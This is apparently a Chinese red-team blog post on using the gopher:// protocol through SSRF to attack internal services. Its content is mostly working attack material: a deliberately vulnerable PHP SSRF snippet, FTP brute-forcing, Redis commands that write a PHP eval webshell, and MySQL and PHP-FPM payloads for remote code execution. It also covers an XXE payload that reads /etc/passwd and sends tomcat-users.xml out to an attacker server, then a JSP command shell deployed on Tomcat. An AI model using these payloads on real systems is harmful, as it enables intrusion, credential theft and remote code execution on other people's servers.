Gopher协议使用总结

  • A+
所属分类:安全闲碎

这是 酒仙桥六号部队 的第 64 篇文章。

全文共计3714个字,预计阅读时长12分钟


什么是Gopher协议?

Gopher协议是一个通信协议,它用来设计,分配,搜索与检索文档中的internet协议的网络。在超文本传输协议(http)出现之前,它是internet上最重要的信息检索工具,gopher生态系统被认为是万维网的前身。

Gopher这个名字是由在明尼苏达大学的Anklesaria 命名的,它的名字由来是这样的:

  1. 明尼苏达大学的吉祥物是地鼠。

  2. 一个跑腿的助手就像地鼠一样在地下挖洞总能到达它想要的位置。

Gopher协议使用总结

由于可以GET、POST请求,那可以先截获get请求包和post请求包,再构造成符合gopher协议的请求,利用Gopher我们可以对FTP,Telnet,Redis,Memcache,基于一个TCP 包的 exploit等等进行内网攻击,这样极大的拓宽了我们的攻击面。


Gopher协议格式

Gopher默认端口是70:

URL:gopher://<host>:<port>/<gopher-path>

<gopher-path>可以是下面其中之一的格式:

<gophertype><selector><gophertype><selector>%09<search><gophertype><selector>%09<search>%09<gopher+_string>

如果省略<port>,则端口默认为70。<gophertype>是一个单字符字段,表示URL所引用资源的Gopher类型。

整个<gopher-path>也可以为空,在这种情况下,定界“/”也是可以为空,并且<gophertype>默认为“ 1”。

<selector>是Gopher选择器字符串。在Gopher协议中,Gopher选择器字符串是一个八位字节序列,可以包含除09十六进制(US-ASCIIHT或制表符),0A十六进制(US-ASCII字符LF)和0D(US-ASCII字符CR)之外的任何八位字节。

<search>用于向gopher 搜索引擎提交搜索数据,和<selector>之间用%09隔开。

Gopher客户端通过将Gopher<selector>字符串发送到Gopher服务器来指定要检索的项目。


如何转换规则

我们先随意构造一个简单php代码

<?php$b=$_REQUEST["a"]echo $b;?>

我们构造一个GET包。

Gopher协议使用总结

虽然Burp帮我们GET那么多参数,我们可以缩到3行。

GET /edit.php?a=Hi HTTP/1.1Host: 127.0.0.1Connection: close

转换规则

1.如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。

2.如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。

3.将r字符串替换成%0d%0a。

4.空白行替换为%0a。

5.问号需要转码为URL编码%3f,同理空格转换成%20。

6.在HTTP包的最后要加%0d%0a,代表消息结束。

我们先将其转换成gopher协议执行。

curlgopher://192.168.11.1:80/_GET%20/edit.php%3fa=Hi%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0a

Gopher协议使用总结

Content-Length为2。

POST同理,但是需要5行。

POST /edit.php HTTP/1.1Host: 127.0.0.1Connection: closeContent-Type: application/x-www-form-urlencodeda=Hi
curlgopher://192.168.11.1:80/_POST%20/edit.php%3fa=Hi%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aConnection:%20close%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0a

Gopher协议使用总结

我们可以测试SSRF中gopher是否有效。

先写一个有SSRF的漏洞PHP代码,这里没对参数做任何过滤。

<?php$url = $_GET['url'];$curlobj = curl_init($url);echo curl_exec($curlobj);?>

注意php.in 要开启extension=php_curl.dll

Php版本>5.3 (gopher协议在5.3版本以上才开始支持)

攻击机监听本地4444端口,同时浏览器访问:

192.168.11.1/ssrf2.php?url=gopher://192.168.11.130:4444/_hello

记得要在传输的数据前加一个无用字符。

Gopher协议使用总结

收到传输过来的字符那么说明没有问题。


FTP爆破

内网中存在弱口令的FTP比较多,我们可以尝试一下。

攻击机IP:192.168.11.130

SSRF服务器IP:192.168.1.11

FTP服务器IP:192.168.11.136

首先,先在FTP的服务器上测试一下访问FTP的流量情况,对其进行抓包处理。

curl ftp://vsftp:[email protected]/ 【vsftp账号:vsftp密码】

Gopher协议使用总结

右键 Follow tcp steam ,保存为ASCII格式,这里我们只保留 USER PASSQUIT这3个字符用于加快爆破返回速度。

Gopher协议使用总结

按照规则转换成gopher码,再放入BP中需要对其进行一次转码进行爆破。

Gopher协议使用总结

Gopher协议使用总结


REDIS

常见的写入webshell脚本。

flushall  set 1 '<?php eval($_GET["cmd"]);?>'  config set dir /www/wwwroot/  config set dbfilename shell.php  save

用wireshark捕捉lo0,再写入:

Gopher协议使用总结

右键定位tcp跟踪流:

Gopher协议使用总结

按之前的方法转换成gopher码后,成功生成shell.php。

Gopher协议使用总结

当然我们也可以利用gopherus直接生成gopher码

https://github.com/tarunkant/Gopherus

Gopher协议使用总结

Gopher协议使用总结

成功执行,可以用蚁剑连接。

Gopher协议使用总结

Gopher协议使用总结

Redis 未授权访问除了Webshell之外 ,我们也可以使用 crontab 反弹 shell,利用公私钥直接登录目标服务器,主从模式等。


MYSQL

MYSQL认证模式有2种

  1. 密码认证,这种使用挑战应答模式,服务器会先对密码加salt之后再进行验证。

  2. 无需密码认证,直接发送数据包即可。

MYSQL还有3种连接方式:

  1. Unix套接字,这种用于linux或者unix环境下且client和server端需要在一台电脑中。

  2. 内存共享或者命名管道。这种用于windows环境下且clent和server端在一台电脑中。

  3. TCP/IP,网络传输协议,使用的最多的一种连接方式。

那么在非交互下我们可以使用TCP/IP 无密码认证来实现攻击。

先创建1个无密码的本地登录用户,再进行抓包处理。

客户端输入:

mysql -h 127.0.0.1 -u ssrf -pshow version();exit;

将得到的抓包文件同理进行过滤成tcp流 raw格式。

Gopher协议使用总结

再将进行一次urlencode格式转换。成功得到版本信息。

Gopher协议使用总结

Gopher协议使用总结

我们这里也可以用https://github.com/FoolMitAh/mysql_gopher_attack 实现。

我们这里尝试写入phpinfo文件。

前提是我们需要足够有写入的文件权限,以及将-sercure-file-priv其修改为空,不然只能导入到指定的位置。

如新版本mysql强制导出文件到指定文件,需要对其进行添加新路径。

Gopher协议使用总结

eg: python exploit.py -u root -p "" -d "" -P "PAYLOAD" -v -c

Gopher协议使用总结

Gopher协议使用总结

Gopher协议使用总结


FAST CGI

FastCGI(Fast Common GatewayInterface)全称是“快速通用网关接口”,是通用网关接口(CGI)的增强版本,由CGI发展改进而来,主要用来提高CGI程序性能,类似于CGI,FastCGI也是一种让交互程序与Web服务器通信的协议。  

Fastcgi协议由多个record组成,其中recoed包含header和body。服务器中间件将header和body按照fastcgi的规则封装好通过tcp发送给FPM(Fastcgi协议解析器),FPM解码后将结果再封装后返回给中间件。

Gopher协议使用总结

其中FPM按照fastcgi的协议将TCP流解析成真正的数据。

举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2, 如果web目录是/var/www/abc,那么Nginx会将这个请求变成如下key-value对:

{'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'GET','SCRIPT_FILENAME': '/var/www/abc/index.php','SCRIPT_NAME': '/index.php','QUERY_STRING': '?a=1&b=2','REQUEST_URI': '/index.php?a=1&b=2','DOCUMENT_ROOT': '/var/www/abc','SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '12345','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1'}

FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/abc/index.php。

也就是说php-fpm根据script_filename的值来执行php文件。如果该文件不存在,则返回404。

大致原理:

1.NGINX与IIS7曾出现php解析漏洞,例如访问http://127.0.0.1/1.jpg/.php则访问的文件是1.jpg,却按照.php解析。

由于php中的fix_pathinfo特性,如果地址路径为/var/www/abc。它会先判断SCRIPT_FILENAME即/var/www/abc/1.jpg/.php是否存在,如果不存在则去掉最后一个/和后面的内容,判断/var/www/abc/1.jpg是否存在,如果存在则按照php来解析。

2.PHP.INI中有两个配置项,auto_prepend_file和auto_append_file。可以将文件require到所有页面的顶部与底部。

Gopher协议使用总结

auto_prepend_file是在执行目标之前先包含auto_prepend_file中指定的文件,我们可以将auto_prepend_file设定为php://input,auto_append_file是执行完成目标文件后,包含auto_append_file指向的文件。

其中FPM还有2个变量需要如下设置PHP_VALUE和PHP_ADMIN_VALUE。

分别设置为:

'PHP_VALUE': 'auto_prepend_file = php://input''PHP_ADMIN_VALUE': 'allow_url_include = On'

利用条件:

  • libcurl版本>=7.45.0(由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断)

  • PHP-FPM监听端口

  • PHP-FPM版本 >= 5.3.3

  • 知道服务器上任意一个php文件的绝对路径

FastCGI 基本都在本地 127.0.0.1 端口上的,这里用P神脚本尝试执行。

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

Gopher协议使用总结

我们将其转换成gopher,先监听2333端口。

Gopher协议使用总结

再执行脚本。

Gopher协议使用总结

得到的脚本进行简单的urlencode转换。

Gopher协议使用总结

执行即可:

curl -v ‘gopher://127.0.0.1:9000/_[上面生成payload]’

我们可以利用gopherus直接生成gopher码

Gopher协议使用总结

下图可以直接进行命令执行。

Gopher协议使用总结


XXE

我们这边模拟一个JAVA-XXE的环境用XXE来读取其中的TOMCAT账号密码 ,最后用gopher来执行RCE。

存在XXE 服务器IP:192.168.11.139攻击服务器IP:192.168.11.130环境https://github.com/pimps/docker-java-xxe

这里搭建完后有个小BUG,需要将app中index.htmlxxe-example.war拷贝到子目录xxe-example。

Gopher协议使用总结

我们先测试xxe是否能读取出XXE漏洞服务器本地密码。

这里访问192.168.11.139:8080并构建XXE,

<!DOCTYPE Anything [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><book><title>&xxe;</title><isbn>31337</isbn><author>Jon Snow</author></book>

Gopher协议使用总结

我们接下来读取tomcat里面的tomcat-user.xml数据并将其传递给远程的攻击服务器。

提供ftp服务和web服务的服务器,FTP负责接受外部的DTD数据,WEB提供接受FTP的payload。

环境https://github.com/staaldraad/xxeserv

编写一个外部的dtd。

Gopher协议使用总结

./xxeserv -wp 4444 -w -p[-wp为开启web并修改web端口 -p开启FTP端口]

Gopher协议使用总结

尝试读取tomcat-user.xml里面的账户密码。

构建XXE:

<!DOCTYPE Anything [<!ENTITY % data3 SYSTEM "file:///opt/tomcat/conf/tomcat-users.xml"><!ENTITY % sp SYSTEM "http://192.168.11.130:4444/dtds/oob.dtd">%sp;%param3;%exfil;]><book><title>OOB EXFILL</title><isbn>31337</isbn><author>xxx</author></book>

Gopher协议使用总结

使用脚本执行一键RCE。

脚本https://github.com/pimps/gopher-tomcat-deployer

我们用刚才读取出的账号密码构建::

python gopher-tomcat-deployer.py -u admin -p admin -t 127.0.0.1 -pt 8080 cmd.jsp

Gopher协议使用总结

生成的gopher导入payload 中:

Gopher协议使用总结

成功生成cmd目录和cmd.jsp并能执行命令。

Gopher协议使用总结

Gopher协议使用总结


总结

虽然Gopher协议已经渐渐退出了历史的舞台,但是对渗透来说仍然是个不可低估的协议。它总能扩大思维结合其他漏洞进行许多拓展攻击。

参考链接:

https://en.wikipedia.org/wiki/Gopher_(protocolhttps://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.htmlhttps://joychou.org/web/phpssrf.htmlhttps://blog.chaitin.cn/gopher-attack-surfaces/https://staaldraad.github.io/2016/12/11/xxeftp/


Gopher协议使用总结


Gopher协议使用总结

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: